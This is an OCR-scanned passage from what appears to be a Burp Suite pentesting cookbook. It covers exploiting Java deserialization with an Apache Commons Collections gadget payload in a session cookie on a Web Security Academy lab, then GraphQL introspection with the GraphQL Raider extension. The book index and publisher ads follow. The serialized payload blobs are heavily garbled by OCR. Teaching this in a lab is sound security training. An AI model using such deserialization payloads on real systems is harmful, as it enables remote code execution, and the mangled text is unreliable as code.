vbXBhcmFOb 3J0ABZManF2Y591dG1lsLONvbXBhemFOb317eHAAAMACC3TAQnSyZySheGFjaG
Uuy: ¥S! Y29tcGFyY Jhbnlimb3J taWlsSnd28teGFyY
PRvci%2FShPArs JiMAgACTAAJZGVb3ThdGVkc(QBS2BAAFMAAtOcnFuc2Zvenl LenQALUxv
encvYXBhY2hl L2NvbV1vbnMvY29sbGVidG1vbnMOLIRYYWSZzZnSybWVy03hwe 3TAQGOYZYS
IhcGFj aGUuY29thWsucys QUYZStcGRyY “Stcﬁm
[BhcmFOb3L79dk luGExNWIAAHhwe 3TADZOYZY aGUuY:
zOuZnV\lYSvan!l\lQ"hh3“5lZFRYY“SzleEyh“VY!'HEX'IChEvaCMH}MlpVHthnN’thJt
12X J zdAAUNOxvenevTXBhY2h 1 L2NvbW lvbnMvY29sbGVIdGLvbnMOL 1RYYWSzZudybWVy03h
JudXTALLtMb 3InLuFwYWNoZS5]b21tb25zLulvhGx 1Y3Rpb25zNC5UcnFuc2ZvenllcisSgT
£ 7CNo% 2 FpQ TAAHhWAAAAANNYADXvemcuYXBhY 2h 1 LuNvh W lvbnMuY29sb GV dGlvbnMOLnZ
[LbuNOb 3JzLkNvbnNOYWSOVHIhbnNmb 37 tZXJ YdpARQ JKx 1ATAAUWACW1Db 252 dGFudHQAER
b (YXZhL 2xhbmevT2J qZWN003hwdnTANZNvbS 52 dW4ub3InLmFuYWNo Z554YWxhbiSpbnRlc
InShbC54c2x0Ty50cmFALIRYQ TAAAMARAAAAAARARNVCI TAP2 JaGlu
29tbW9ucy5ib2xsZVN0aWucz QuZnVuY3RvenMusW5zdGFudGlhdGViecnFuc2Zvenlleis
LSH%ZBkhtATAgACWWAF aUFyZ 3NOABNDTGphdmE vhGFuZyS PYmp lY3Q7WwALaVBhenF cVHLw

7AB]

[ZXNOABJIbTY IZy9DbGF: ySPYmplY3Q7kMSTnxB
ZKWwCAABAcAAAAAFZCgAEY29tLnl1bi SvemcuYXBhYZhl Lohhb GT\\LnludGVYbnT! LnhzbH
R LnRyYXqguV [1wbALXTEF J SQANX21uZG 1bWJ1ckkAD1S0c

nFucZx 1dE1uZGVAWgAVX3VzZVN1enZpY2VaTWV] uGFuq)NtTMZX. FiY2Vzc0V4dGVybnFs
[U3RSbGVzaGV1AHQAEKx YXZhL 2VzdAATTGNvbSS
2dWavh3dnL2: NYWOZSM‘!‘Uxhb.l!pbancnSth§4c'..‘xUYYSYdVSUaVllLDMC.hUWJ'sZT
[tb AAp£Yn 1 0ZWNVZGVZdAADW] tCWWAGKZNS XNz cBS 2BABRMAAVEbm FEZXEAL gAZTAARX2S
[LdHB1dFByb 3B1cnRpZXNOABZManF2Y591dGLsL1Byb 361 cnRp ZXM7 e HAAARMAS ZF5 2F42F %
[2F% 2FWBOAANDD GxwdXTAAL thQkvSGRVNZY s 3AgAAeHAAAAACAXTAAL tCr PMX% 2BAYIVOACA
ABAcAAABpnK%2Frq%2BAAAAMQAACGADACTHADYHACUHACYBABB zZXJP‘NxVZXJ zaWSuVULlE
JAQABSgEADUNVbNNOYWSOVnF: CTB5HA7z4BAA KVYBAARDL2R1AQA
PTGLUZUS1bWIlc 1RhYmx 1AQASTGS] YWxWYXIpYWIsZVRhYmx 1 AQAE dGhp cwEAE LNOdWIUcn
[FucZx1dFBhelxvYWQBAAxJbmS 1 ckNs XNz ZXMBADVMeXNve2VyaWFsL3BhelxviWRzL3V0a
(WwvR2Fk ZZVOCYRTAHVA’ QTX1sb2Fk OWEAC: Y AcihMY25tL3NL
biSvemevYXBhY2hlL3hhbGFuL2 ludGVybnFsL3hzbHR) LORPTT thTGNvb S9zdWavh 3InL2F

EY'HNOZSEAbUwaHSUZXIuWwCZanHFseXE.lci STZXJpYWxpenFOaWSusGFuZGxlcyspVy |

Ol s ]

Time to execute: 1169 milliseconds

Figure 11.57 - Attack mode and payload created
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12. Send the modified request to Repeater:

Deserialization Scanner

Menual testing _ Exploiting  Configurations

Host: 1119d7a82b31b, b-security-academy.net Port: 443 Https  Request Response
GET /my-account HTTP/2 Pretty Raw Hex
Host: 1194728253 b-security-academy.net =

Cookie: § 9sYWiuY y5jb2 1tb24uc2VyaWFsaXphYmxILkFjY2Vzc 1Rva2VuVXNIchIR/OU -

SIEMBAGACTAALYWN; ﬂxNiVGQrZWiQABJM amF2YS9sYWSnL1NOcmiuZtMAAKTc2VybmFtZXEAfgABeHBOACBMNT
d2aHVvZ21kd3lIreXddenBmZzloZDIvd3hsY2xIcHQABndpZW5lcg§%3d%3d

Cache-Control: max-age=0

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: ""

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735
110 Safari/537.36

Accept: text/html,application/xhtml+xml,applic q=0.9, avifimage/wi /apng,”/*:q=0.8,appl
ication/signed-exchangev=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 71

Sec-Fetch-Dest: document

Referer: https://0a92008b04119d7a82b31b2b0016001e.web-security-academy.net/login

3

GET /my-account HTTP/Z2

Cookie: session=

B wn =

2 Host: 0aS2008b04119d7a8Zb31bZb0O0LEOOLe.web-security-acadeny.net

O0ABXNYABdqYXZhLnV0aWwuUHIpb 3JpdHIRAWV1ZZTaMLT7P4Rx AWACSQAEC216ZUwACmNvbX
BhcmFOb3J0ABZManF2YSS1dG1sLONvbXBhenFOb3T7eHAAAAAC c3TAQuSyZyShcGFjatluy2st
DbWSucySibIxsZWNOaWouczQuYZoteGFyRvenMuVHIhbnlinb3J taWsnQ28teGFyXRvel/ ShP
Ars(jMAgACTAAJZGVIb3ThdGVE c OB +MmAchmmc:Zvcml 1] chALﬂxvcnch)CBnY"hlL "Nv

bWlvbnMvY29sbGVjdGlvbnMOL1RyY

y03hwe3l aGUuY2
53b2x S ZUND aWSuCZ QuY 28 tCG Ry TXRvenMuga9ec Grywa +2UMlvbYBen 0D 3L 78k LubExlTuTe

AHhve3TAD29yZySheGF) aGUuY;
RYYU52Zn0ybWVyMNeX7Che LWQCAAlL
bW1vbnMyY28sh GV dG1vbnMOL1RyY
SzLuNvhGx1Y3Rpb25zNC5UcnFuc2i
YZhlLmNvbW1lvbnMuYZSsbGVidGlvk
ARQQKx 1ATAAUWACU1Db25ZdGFudH(
b3INLEFWYWN0ZS54YUxhb iSpbnRLe
AhAHhwc3TAP29yZyShcGF)aGluy2

d61hdGVUcnFuc2ZvemllejSL! EH—H(; _ to Repeater |

Send to Sequencer

Q7WvALaVEhcnFtVHLWZXN0ABILTGY
Ymn 1Y307kMSYnxBzKWWCAABAcAAAL

Figure 11.58 — Send to Repeater

Click the Send button to solve the lab:

= c e

Dashboard AL e (pmee Collab

Deserialization Scanner

TR %% 3 x 4 % 5 & 6 x i 8 x 9 x 10 = 1M =

I: = < - : :

Request
Pretty Raw Hex B W
1 GET /my-account HITP/Z

¥51b:
Scan

Do passive scan
Do active scan

Send to Intruder

uy 2hhaWs1ZF
pevBhYZh1LINY
WYWN0ZS53b21th2
nliyADxvemcu¥XBh
hbnlimb3Jt2XI¥dp
RIANCHvDS SzdW4u
Cirle] DZXTAARRAAAAAAA
BRvcnMusW5zdGFu
Ctrl+R  wbGFuZySPYmplY3
GphdnEubGFuZyse
1LnhhbGFulnludG

Comparer Logg

2 Host: D0aSZ008b04115d7a8Zb31bZb001E001e.web-security-acadeny.net

3 Cookie: session=
£00ABXNYABAqYXZhLnV0aWwulUHIpb 30 pdHIRAWV 1ZZTaMLT7P4FxAVACSQAE c21EZU
VACHNvbXBhcmFOb3J0ABZManF2YS91dG1sLONvbXBhenFOb317eHAAAAACC3 TAQNSY
ZySheGFjatUuYZ9thbWoucyS5ibIxsZWNOaWSuczquY29te GFyEvenMuVHIhbnlinb 3
JtaWSnQ29tcGFyYXPvei/ShPArs(iMAgACTAAJZGVIb3ThdGVkcOBSZhAAFMAATOCH
FuclZvenllenQALUxvencvXBhYZhlLINvbWlvbnMvY2SsbGVidGlvbnMOL1RYYWSz
ZnSybWVy03hwe3TAQGIyZySheGF) aGUuY29tbWoucy5ibIxsZWNDaWSuczQuY2oteG
FyTRvenMulZSteGFyTWIsZUNvbXBhenFOb3L 790k luGExNw I AAHhwe 3TADZ9yZySh
¢GFjatUuY25thWSucy5ib2xsZWNOaVsucz QuZnVuY 3RvenMud ZhhaWs 1 ZFRyYW5zZn
SybWVyMMeXTChE 1wQCAAFbAALpVHIhbnNnb 37 tZXJ zdAAUNOxvemevXBhYZh1L2Nv
bWLlvbnMvYZS9sbGVIdGlvbnMOLIRYYWSzZnSybWWy03hwdXTALLtMb 3InLleFuYWNoZS
59b21tbh25zLmNvbGx 1 T3Rpb252NC SUcnFuc2Zvenllejs5gTr7CNo /pQTAAHhWAAAA
AnNyADxvencuYXBhYZhl LeNvbWlvbnMuYZ2SsbGV)dGlvbnMOLunZ 1bmNOb3Jz LkNvbn
NOYWS0VHIhbnlnb 37 tZXITdpARQIEx 1ATAAUVACW1Db 2 52dGFudHIAEkx qYXZhLIxh
buncvTZJqZWN003hwdnI ANZNvbS 5z dW4ub3Inln FwYWioZ554YWxhb i 5pbnRl cm5ShbC
Ede2u0YvS0enFAL 1 RvOVhGal OZX TARAAAARAAAARAAAHhw e ATAP2GvZvSheGFi At

3 X-Hue-ﬂp tions:

4
g

€

SAMEORIGIN
Content=Length: 2428

<!DOCTYPE htal>
<html>
<head>

<link href=/resources/labheader/css/ace
<link href=/resources/css/labs.css rels

<title>

Exploiting Java deserialization with

</title>
</head>

<script src="/resources/labheader/js/labk

</script>
<div id="academyLabHeader">

<section class='academvlahBanner's>

Figure 11.59 — Response is 500 with exception

Look more closely at the stacktrace returned in the 500 response. Notice there is a Java
instantiation error. This message is proof of our exploit.
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<div theme="">
<gsection class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
</header>
<hd>
Internal Server Error
</hd>
<p class=is-warning
InstantiateTransformer: Constructor threw an
exception
<o’
</fdiv>
</section>

Figure 11.60 - Details within the 500 response of the instantiation error
13. Notice the congratulatory banner in the browser:

H Exploiting Java deserialization
Web Secunty with Apache Commons =
Academy <]

Back to lab description >

Congratulations, you solved the lab! W Share your skills! | Confinue learning >

Figure 11.61 - Congratulatory banner

How it works...

In cases where application code receives user input directly into an object without performing
sanitization on such input, an attacker has the opportunity to provide arbitrary commands. The input
is then serialized and run on the operating system where the application resides, creating a possible
attack vector for remote code execution.

Hacking GraphQL using Burp Suite

GraphQL is a very commonly used API query language. The main difference between using REST
APIs and GraphQL is the structure of the call. REST API calls require multiple calls to accomplish
a task, whereas GraphQL makes a single call containing the entire schema structure. The GraphQL
parser determines which components of the schema require lookups or changes. In this recipe, we
will learn how to leverage a Burp Suite extension called GraphQL Raider to read, mutate, and attack
GraphQL schemas.
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Getting ready
The GraphQL Raider extension can be found in BApp Store. We will download and install the extension
within our Burp Suite instance. Then, we'll see how to use the extension against GraphQL endpoints.
How to do it...
1. Inside Burp Suite Extensions | BApp Store, select GraphQL Raider and click the Install button.
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger {0} Setting
Organizer Leamn Add 8 Track Custom Issues Software Vulnerability Scanner Burp Bounty Free GAP
Auth Analyzer
Installed BApp Store APls {5} Extensions settings
78 Total estimated system impact: Medium  @Rm——"8"
BApp Store @
The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities, D | Search
Name Installed Rating  Popularity Last updated System imp... Detail
GAT Security Platform I... Wit 21 Jan 2021 Low Pro extension : . U
A quezy™: "...",

Git Bridge vevrvevrid 17Jun2015  Low “operavioniame®: "...%,

Google Authenticator Yrirdrvry— 04 Feb 2022  Low "variables™: { "myVariable”: "scmeValus®,
Google Hack vy 01Jul 2014 High A

| GraphQL Raider Trvcrrrir 1 12Aug2019  Low Pro extension_|

GWT Insertion Peints raxaranai 25Aug 2021 Low Pro extension . .

HackBar, Payload Bucket LYttt ——1— 15Apr 2021 Low Estimated system impact

Hackvertor Wi 08Mar2023  Low ik low &

Handy Collaborator i —i 04Feb2022  Low

Hashcat Maskprocessor... Wity 160ct 2020  Low Memory CPU Time 5S¢
Headers Analyzer kg kot — 24 Nov 2014  Low Pro extension & Low & Low © Low E
Headless Burp fraxgnakaty] 09Jul2018  Low

HeartBleed Ty 01Jul2014  Low

Highlighter And Extractor iy —i 130ct 2022  Medium Author:  Dennis Kniep

Host Header Inchecktion wirvrvri—i 10Feb 2023  Low Pro extension Version:  1.0.0-17

HTMLS Auditor wwwwi— 25Aug2021  Low Pro extension Source:  https://github.com/portswigger/grap
HTTP Digest Auth Ty 12Jan2022  Low I

HTTP Methods Discloser v —1 06 May 2021  Low Updated: 12 Aug 2019

HTTP Mock ey 28 Jun 2022 Low

HTTP Request Smuggler W rY—115Nov2022  Low Rating T TCITIA Submit ratir
HTTPoxy Scanner Tt —i 25 Aug 2021 Low Pro extension Popula

Hunt Scanner wwnrn—i 29Jul2020  Low

Identity Crisis WY 4 22)an2015  Low Pro extension m

1IS Tilde Enumeration Sc... Wi —i 02Feb 2022  Low Pro extension

Figure 11.62 - The GraphQL Raider extension

2. We will use the free GraphQL endpoint with Spacex data available online. In Proxy | Intercept,
click the Open browser button to open the Burp Suite browser.
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3. Browse to the following URL: https://spacex-production.up.railway.app/.

v - O X
“® Explorer | SpaceX@current | St X +
&« > X E] hitps://studio.apollographgl.com/public/SpaceX-pxxbxen/variant/current/explorer 2 W ‘"ﬂ » £ O 2
@ SpaceX-pxxbxen / current PUBLIC Login

a8 B 0 © a & « ExampleQuery X = T

};f; Documentation Operation iJRA > ExampleQuery Response

IE' Root > Query 1 query ExampleQuery { wee
2 company {
& Query @ 3 ceo
£
. 5 roadster {
Fields ° ¥ 6 apoapsis_au
T }
() capsule(..): Capsule s}

Figure 11.63 — GraphQL application online

4. Go ahead and perform the sample query by clicking the ExampleQuery button within the
Burp Suite browser:

ExampleQuery X +

Operation i vl C> ExampleQuery I v = [ status 200 | 700ms
1 query ExampleQuery { e ﬂ [%' @
2 company { "data": {

3 ceo "company": {
4 ¥ "ceo": "Elon Musk"
5 roadster { 1,
6 apoapsis_au "roadster": {
7 } "apoapsis_au": 1.
8 } 664332332453025
9 }
+
i

Figure 11.64 — Run ExampleQuery


https://spacex-production.up.railway.app/
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Look for Request and Response in the Burp Suite Proxy | HT'TP history table.

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Log
Organizer Extensions Learn Add & Track Custom Issues Software Vulnerability Scanner Burp Bounty Free G
Auth Analyzer
Intercept WebSockets history @ Proxy settings
Logging of out-of-scope Proxy traffic is disabled Re-enable
Filter: Hiding out of scope items; hiding CSS, image and general binary content
# Host Method URL Params  Edited  Status code
n rhttps:ﬂspacu-producﬁon.up.raihuy.app POST / | v 200
Request Response ':
Pretty Raw Hex GraphQL B2 0 = Pretty Raw Hex Render ‘

POST / HITP/Z

Host: spacex-production.up.railway.app
Content-Length: 146

Sec-Ch-Ua:

Sec-Ch-Ua-Platform: ™"

Sec-Ch-Ua-Mobile: 20

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd; xE4)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/114.0.5735.110 Safari/537.36
Content-Type: application/json

Accept: /%

10 Origin: https://studio.apollographgl.com

11 Sec-Fetch-Site: cross-site

12 Sec-Fetch-Mode: cors

13 Sec-Fetch-Dest: empty

14 Referer: https://studio.apollographql.con/
15 Accept-Encoding: gzip, deflate

16 Accept-Language: =n-US,en;q=0.9,en-CA;q=0.8

1w D

w o

1 HTITP/2 200 OK

¥=-Powered-By: Express
Access-Control-Allow-Origin: *
Cache-Control: max-age=8£6400, public

Age: 33581

Content-Type: application/json; charset=utf-g8
Content-Length: BE

° Etag: W/"58-0alDFV746YcpibqaSOHSYXy3EhE"

[X]

1o e W

18] ¢
"query”:

"ruery ExampleQuery {\n
dster {'n apoapsis_au'n
"variables": {

Yo

"operationiame™: "ExanpleQuery”

company {'n ceo'n }'n roa

}in}'n"”,

S Date: Mon, 1IZ Jun 2023 14:41:38 GMT
10 Serwver: railway

11

12 {

"data": {
"company”: {
"ceo":"Elon Musk"
I
"roadster”: |
"apoapsis_au":1.E664332332453025

Figure 11.65 — See ExampleQuery in Burp Suite
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5.

6.

Right-click on Request and send it to Repeater.

Dashboard Target m Intruder Repeater Col

Organizer Extensions Learn Add & Track Custom Issues
Auth Analyzer
Intercept HTTP history WebSockets history {5} Proxy setting

Filter Hiding out of scope items; hiding CS5, image and general binary content

= Host Method
379  https://spacex-production.up.railway.app POST /
Request

Pretty Raw Hex rankhil \n =
1 POST / HTTP/2 Scan

2 Host: spacex-production .

3 Content-Length: 146 S pacinse s

4 Sec-Ch-Ua: Do active scan

5 Sec-Ch-Ua-Placform: "" S d C

6 Sec-Ch-Ua-NMobile: 20 end to Intruder ) trl+1

7 User-Agent: Mozilla/5.0 Ctrl+R

AppleWebKit/537.36 (KHT

Figure 11.66 — Send to Repeater

Inside Repeater, look for the GraphQL label or a downward-pointing caret just after the Pretty,
Raw, and Hex labels. Notice the extension provides a clearer query to read along with variables
and the Injection Points tab.
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Dashboard Target Proxy Intruder Colla

Learn Add & Track Custom Issues Software Vulnerability Scanner
1 x xR+

=R -

Request

Pretty Raw Hex GraphQL
Query Variables 1nm
1 query ExampleQuery {

2 company {

3 ceo

4 }

5  roadster {

P apoapsis_au
1 }
}

Figure 11.67 — Use the GraphQL extension within Repeater

7. In the Repeater | GraphQL tab, replace ExampleQuery with the following
IntrospectionQuery to see the entire schema:

query IntrospectionQuery { schema{queryType{name},
mutationType{name},

types{kind, name,description, fields (includeDeprecated:

true) {name,description, args{name,description, type{kind,

name, of Type{kind, name, of Type{kind, name, of Type{, kind, name,
ofType{kind, name, ofType{kind, name, ofType{kind,

name, of Type{kind,name}}}}}}}},defaultvalue}, type{kind, name,
ofType{kind, name,

ofType{kind, name, of Type{kind, name, of Type{kind, name,
ofType{kind,

name, of Type{kind, name, of Type{kind,name}}}}}}}}, isDeprecated,
deprecationReason}, inputFields{name,description, type{kind, name,
ofType{kind, name, ofType{kind, name, of Type{kind, name, of Type
{kind,name, of Type{kind, name, of Type{kind, name, of Type
{kind,name}}}}}}}},

defaultValue}, interfaces{kind,name, of Type{kind, name, of Type
{kind,name, of Type{kind, name, of Type{kind, name, of Type{kind,
name,onype{kind,name,
?nype{kind,name}}}}}}}},enumValues(includeDeprecated:true)
name,

description, isDeprecated, deprecationReason, },possibleTypes{kind,
name, of Type{kind, name, of Type{kind, name, of Type{kind, name, of Type
{kind, name,

ofType{kind, name, of Type{kind, name, of Type{kind,name}}}}}}}}},
directives{name,description, locations, args{name,description,
type{kind, name, of Type{kind, name, of Type{kind, name, of Type{kind, n
ame,
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ofType{kind, name, ofType{kind, name, of Type{kind, name, of Type
{kind,name}}}}}}}},defaultvalue}}}}

Before clicking Send, return to the Raw tab inside Repeater and replace ExampleQuery
with IntrospectionQuery for operationName. Note that if you do not make this
change, the query will not succeed.

Request

Pretty Raw  Hex  GraphQL 8w =
g Content-1Type: application/json

9 Accept: */*
10 Origin: https://studio.apollographgl.con
11 Sec-Fetch-Site: cross-site
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: https://studio.apollographel.con/
15 Accept-Encoding: gzip, deflate
16 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8
17 Connection: close

a
=}

19 {"query”:
"query IntrospectionQuery {__schema{cqueryType{name},mutat
ionType{name},types{kind,nane,description,fields(includeD
eprecated: true) {name,description, args {name,description,ty
pe{kind,name, ofType{kind,nane,ofType (kind,name, o£Type(kin
d,name,ofType{kind,name, ofType {kind ,name , ofType {kind,name
,0fType(kind,name}}}}}}}},defaultValue}, type(kind,name,of
Type{kind,name,ofType{kind,name , ofType {kind,name, ofType {k
ind,name,ofType{kind,name, 0fType (kind,name,0fType{kind,na
me}}}}}}}},isDeprecated,deprecationReason},inputFields{na
me,description, type{kind,nane ,0fType (kind,name,ofType(kin
d,name,ofType{kind,name, ofType {kind ,name , ofType {kind,name
,0EType {kind,nane, ofType{kind,name}}}}}}}},defaultValue},
interfaces{kind,name,ofType{kind, name, ofType{kind, name,of
Type{kind,name, ofType{kind,name, 0fType {(kind,name, ofType {k
ind,name,o0fType{kind, name}}}}}}}} ,enmmValues(includeDepre
cated: true) {name,description, isDeprecated,deprecationfeas
on,},possibleTypes{kind, name, ofType {kind, name, ofType {(kind
,name, o0fType (kind,name, ofType (kind,name , 0fType {kind,name,
ofType{kind,name, ofType{kind,name}}}}}}}}},directives(namn
e,description,locations,args{nane,description, type{kind,n
ame , 0fType {kind,name, ofType (kind, name, ofType (kind,name, of
Type{kind,name,ofType{kind,name, ofType {kind,name, o£Type (k

d,name defaultValue \n","variables":{},
operationiame™:

Figure 11.68 — Change operationName to “IntrospectionQuery”
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9. Click Send and now you can see the entire schema:

Dashboard

Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logg
Learn Add & Track Custom Issues Software Vulnerability Scanner Burp Bounty Free GAP Auth Analyzer
1% 2x +
m & Cancel <|v Target: https://space
a-: -
Request Response
Pretty Raw Hex | GraphQL | = W — Pretty Raw Hex Render n =
Query Variables Injection Points HTTP/2 200 0K

1 query IntrospectionQuery {__ schema(queryType (name},muts
putFields{name,description, type{kind, nane, ofType (kind,r
nd,name, ofType (kind,name, ofType (kind,nane, ofType (kind,r

¥-Powered-By: Express
Access-Control-Allow-Origin: *
Cache-Control: no-store

Content-Type: application/json; charset=utf-g8
Contenc-Length: 138970

Etag: W/"Zleel-TfeavwllItMlkBfE+KpDxuZ7Bb/4"

2 Date: Mon, 12 Jun 2023 15:10:12 GMT

Server: railvay

K T R s

"data": {
"__schema™:{

"queryType": {
"name":"Juery"”

}e

"mutationType™: {
"name”:"Mutation”

} r

"rypes": [

"name”™: "Address™,
"description”:null,
"fields": [

{

"name”:"address"”,

"description”:null,

"rargs™: [

1.

"type": {
“kind":"SCALAR",
"name":"String"”,
"ofType”:null

l r

"isDeprecated”:false,

— rdentecationfeasom :muall

Figure 11.69 - See the introspection query and results

How it works...

Using the GraphQL extension allows you to craft queries and mutations inside Burp Suite to test for
vulnerabilities against target applications supporting GraphQL. The extension provides a much clearer
view of requests, in contrast to the standard HTTP Pretty or Raw request view.

There’s more...

GraphQL is a vast subject with many tutorials and supporting documentation. We recommend starting

your research here: ht tps: //graphgl .org/.


https://graphql.org/

Index

A Burp Suite 1, 4, 56
built-in browser 57
account enumeration community version 2
testing 138-156 downloading 2, 3
account provisioning process professional version 2
testing, via REST API 173-181 reference link 2
Active Scan++ extension software tool requirements resources 3
working with 363-365 command line or executable 11-15
Add & Track Custom Issues extension used, for hacking GraphQL 413-420
used, for creating custom issue 358-363 Burp Suite Collaborator
authentication 137 using, to determine SSRF 389-394
Burp Suite extensions
B using, for bug bounties 365-374
Burp Suite Scanner
backtracking 188 active scanner 117
Broken Web Application audit tasks 117-121
(BWA) 4, 20, 50, 137 live crawl 117-121
browser cache weaknesses passive scanner 116
testing 170-173 business logic data validation
Burp 15 testing 234-243
used, for listening HTTP traffic 15-18 bypassing authentication schemes
Burp’s browser tab 67 testing 165-170
Burp Scanner vulnerabilities
reference link 363 c

Burp Sequencer randomness tests
reference link 214 Certificate Authority (CA) 50



422 Index

clickjacking directory traversal
testing for 302-306 testing for 184-188
client-side resource manipulation Display tab 98, 99
testing for 324-329 Document Object Model (DOM) 307
Collaborator tab 68 Domain Name System (DNS) 76
command injection DOM-based cross-site scripting
testing 294-298 testing for 307-311
Configuration library tab 106 DOM Invader
Connections tab 73 features 315
hostname resolution overrides 76 used, for testing DOM XSS 312-315
platform authentication 73, 74 DOM XSS
SOCKS proxy 77 testing, by leveraging DOM Invader 312-315
timeouts 74 dot-dot-slash attacks (../) 188
upstream proxy servers 75, 76
cookie attributes E
testing 214-216
cookie jar 343 exposed session variables
cookies, editing 343-348 testing 221-225
cookies, removing 343-348
Cross-Origin Resource Sharing (CORS) G
testing 395-402
Cross-Site Request Forgery (CSRF) Get All Params (GAP) 348
testing 225-232, 332 GetBoo application 193
cross-site scripting (XSS) 68, 273, 307 Graphical User Interface (GUI) 11
CSRF PoC form 230 graphics processing unit (GPU) 67
custom issue GraphQL 413
creating, via Add & Track Custom hacking, with Burp Suite 413-420
Issues extension 358-363 reference link 420
custom scan script GraphQL Raider 413
creating 122-128 guessable accounts

testing 138-156

D
H

Decoder 29
decoding with 30, 31 headless mode 11
directory brute-forcing 188 hidden form fields 221

directory climbing 188 Hotkeys tab 98



Index

HTML injection
testing for 320-324
HTTP parameter pollution (HPP) 288
testing 288-291
HTTP tab 81
allowed redirect types 81
HTTP/1 82
HTTP/2 82
status 100 response handling 82
streaming responses 81
HTTP verb tampering
testing 282-288
Hypertext Transport Protocol (HTTP) 50-56

Hypertext Transport Protocol
Secure (HTTPS) 49

Insecure Direct Object Reference (IDOR)

testing for 203-208
Inspector and messaged editor tab 95
Internet Protocol (IP) address 1
Intruder 32

intruding with 33

Payloads subtab 35

Positions subtab 34

Resource pool subtab 38, 39

Settings tab 39

J

Java deserialization attacks
performing 402-413
Java Deserialization Scanner 402
JavaScript execution
testing for 315-320
Java Server Pages (JSP) 268

JSON Web Token (JWT)
working with 380-389

L

LFI attack 188

Local File Inclusion (LFI)
testing for 188-190

Logging tab 71

M

message editor 22-25

N

Network tab 73
Connections tab 73
HTTP tab 81
TLS tab 78

o)

OWASP BWA landing page 210, 215
OWASP GetBoo application 138
OWASP Mutillidae IT 19

reference link 20
OWASP WebGoat application 234

P

Payloads subtab, Intruder 35
Payload encoding 37
Payload options 36
Payload processing 36
Payload sets 35

pentester plugins
adding 348-358

423



424

Index

PHP Server Configuration 224
polyglots 267
reference link 271
using, to upload webshell as image 268-271
PortSwigger 2
reference link 10
PortSwigger account
creating, to access Web Security
Academy 10, 11
Positions subtab 34
privilege escalation
testing for 195-202
process-timing attacks
performing 247-257
project configuration
Collaborator tab 68
Logging tab 71
Network tab 73
Scope tab 67
Sessions tab 71
setting 57, 58
Tasks tab 69
Tools tab 59
proof of concept (PoC) 279, 305, 399
proxy service 15
Proxy tab 59
match and replace rules 62
Miscellaneous 63
Proxy listener 59
Request interception rules 60
Response interception rules 60, 61
Response modification rules 61
TLS pass through 62
WebSocket interception rules 61

R

read access memory (RAM) 12

reflected cross-site scripting
testing 274-280
regular expression (regex) patterns 27
Remote File Inclusion (RFI)
testing for 191-195
Repeater 26,27
repeating with 28, 29
Repeater tab 64
connections 64
default tab group 65
message modification 64
redirects 64
reporting issues 129-135
confidence levels 130
severity levels 130
Representational State Transfer (REST) 137
Resource pool subtab 38, 39
REST API

used, for testing account provisioning
process 173-181

S

Same-Origin Policy (SOP) 395
Scope tab 67
out-of-scope request handling 68
target scope 67
SecLists payload
reference link 294
Sequencer
used, for testing session token
strength 210-214
Sequencer tab 65
live capture 65
token analysis 66
token handling 66
serialization 402
server-side request forgery (SSRF)



Index

Server-Side Request Forgery (SSRF) 68
determining, with Burp Suite
Collaborator 389-394
reference link 394
session fixation
testing 216-221
session fixation attack 210
session-handling macros
creating 332-343
Sessions tab 71
Cookie jar 72
Macros 72
session handling rules 71
session token strength
testing, with Sequencer 210-214
Settings tab, Intruder 39
Attack results 41
Error handling 40
Grep - Extract 42
Grep - Match 41
Grep - Payloads 43
HTTP version 44
Redirections 44
Request headers 40
Save attack 39
Start attack button 45, 46
SQL injection payloads
reference link 294
SQL injection (SQL1)
testing 292-294
stored cross-site scripting
testing 280-282
support pages, PortSwigger
reference link 13

T

target scope 19

Target Site Map
setting 20, 21, 22
target sites
auditing 116
crawling 107-115
Tasks tab 69
auto-start task 70
resource pool 69
schedule task 70
TLS negotiation 78
TLS tab 78
Client TLS certificates 79, 80
Server TLS certificates 80
TLS negotiation 78
Tools tab 59
Burp’s browser tab 67
Proxy tab 59
Repeater tab 64
Sequencer tab 65

U

UI redress attack 302
user configurations
setting 83, 84
User interface tab 94
User Network tab 90
User Project tab 89
User Suite tab 100
User Tools tab 84
working 101, 102
User Extensions tab 104, 105
User interface tab 94
Display tab 98, 99
Hotkeys tab 98
Inspector and messaged editor tab 95-97

425



426 Index

User Network tab 90 W
Connections tab 91, 92
TLS tab 93,94 weak lockout mechanisms
User Project tab 89 testing 156-165
Automated tasks on startup 90 weak validation
Automatic backup 90 bypassing 243-247
User Suite tab 100 web app pentesting lab
Performance feedback tab 103 setting up 4-9
REST API tab 101 software tool requirements resources 4
Temporary files location tab 104 Web Security Academy
Updates tab 103 reference link 10
User Tools tab 84 whitelisting 243
Burps browser tab 88 workflows
Intruder tab 86, 87 circumvention, testing 258-267
Proxy tab 85
Repeater tab 88 X
V XXE attacks

performing 376-380
Virtual Machine (VM) 1, 20



<packd

www . packtpub.com

Subscribe to our online digital library for full access to over 7,000 books and videos, as well as
industry leading tools to help you plan your personal development and advance your career. For more
information, please visit our website.

Why subscribe?

o Spend less time learning and more time coding with practical eBooks and Videos from over
4,000 industry professionals

o Improve your learning with Skill Plans built especially for you

o Get a free eBook or video every month

o Fully searchable for easy access to vital information

o Copy and paste, print, and bookmark content
Did you know that Packt offers eBook versions of every book published, with PDF and ePub files
available? You can upgrade to the eBook version at www . packtpub . com and as a print book

customer, you are entitled to a discount on the eBook copy. Get in touch with us at customercaree
packtpub . com for more details.

At www . packtpub . com, you can also read a collection of free technical articles, sign up for a range
of free newsletters, and receive exclusive discounts and offers on Packt books and eBooks.


http://www.packtpub.com
http://www.packtpub.com
http://www.packtpub.com

Other Books You May Enjoy

If you enjoyed this book, you may be interested in these other books by Packt:

1ST EDITION

